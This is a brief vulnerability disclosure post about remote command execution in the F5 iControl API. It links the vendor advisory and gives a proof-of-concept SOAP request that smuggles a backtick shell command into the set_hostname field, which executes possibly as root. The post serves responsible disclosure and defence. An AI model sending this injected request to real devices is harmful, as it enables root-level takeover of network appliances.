F5 iControl Remote Command Execution

Posted on 08 May 2014

Hi,

Linked below is an advisory regarding remote command execution (as root,
possibly) vulnerabilities within the iControl API:

http://support.f5.com/kb/en-us/solutions/public/15000/200/sol15220.html

An example request that will set the hostname to 'root.example.com':

<?xml version="1.0" encoding="ISO-8859-1"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
 <SOAP-ENV:Body>
 <n1:set_hostname xmlns:n1="urn:iControl:System/Inet">
 <hostname>`whoami`.example.com</hostname>
 </n1:set_hostname>
 </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

This was responsibly disclosed to F5 on the 7th of February. If you
would like the full communication timeline, feel free to ask.
